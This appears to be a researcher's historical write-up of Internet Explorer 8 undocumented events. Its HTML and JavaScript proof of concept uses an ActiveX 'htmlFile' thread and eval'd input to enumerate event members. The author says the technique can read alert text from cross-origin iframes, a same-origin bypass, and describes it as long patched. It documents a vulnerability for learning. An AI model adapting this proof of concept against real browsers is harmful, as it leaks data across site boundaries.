IE Undocumented Events — showmessage, propertysheet, MenuExtUnknown

While exploring the frozen-event technique, I discovered that IE fires undocumented event types when certain dialogs open. The event object during an alert() has type "showmessage" and exposes messageText and messageCaption members. The Properties dialog fires "propertysheet" with a propertysheetPunks member. Right-clicking exposes "MenuExtUnknown". Combined with the frozen-iframe cached-event technique (entry #45), these undocumented events allow reading the text of alerts fired by cross-origin iframes.

<input type="button" value="Execute"
       onclick="eval(document.all.code1.value);onFrozen(displayEventMembers);">
<input type="text" class="eCode"
       value="alert('This is the Message');" id="code1">

<input type="button" value="Execute"
       onclick="eval(document.all.code2.value);onFrozen(displayEventMembers);">
<input type="text" class="eCode"
       value="document.all.wbControl.ExecWB(10,2);" id="code2">

<iframe id="wbControl" src="about:blank" width="1" height="1"></iframe>

<script language="JavaScript">
function displayEventMembers()
{
    var str = '';
    for (var i in event)
        str += i + ' = ' + event[i] + '\n';
    alert(str);
}

function onFrozen(callBackFunction)
{
    onFrozen.callBackFunction = callBackFunction;
    onFrozen.lastTick = onFrozen.tick = 0;
    onFrozen.checkTick = function()
    {
        if (onFrozen.lastTick < onFrozen.tick) { onFrozen.lastTick = onFrozen.tick; }
        else
        {
            onFrozen.thread.write();onFrozen.thread.close();
            clearInterval(onFrozen.mainThreadInterval);
            onFrozen.callBackFunction();
        }
    }
    onFrozen.updateTick = function() { onFrozen.tick++; }
    onFrozen.thread = new ActiveXObject("htmlFile");
    onFrozen.thread.write();onFrozen.thread.close();
    onFrozen.thread.parentWindow.onFrozen = onFrozen;
    onFrozen.mainThreadInterval = setInterval('onFrozen.updateTick()', 100);
    onFrozen.thread.parentWindow.setInterval('onFrozen.checkTick()', 300);
}
onFrozen(displayEventMembers);
</script>

Press Execute next to the alert code, or next to the Properties dialog code, and the event members are enumerated in the secondary alert. Right-clicking on the page shows the MenuExtUnknown event. Do not reload between tests — close and reopen the browser to reset. Tested on IE8/XP and IE8/Win7.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.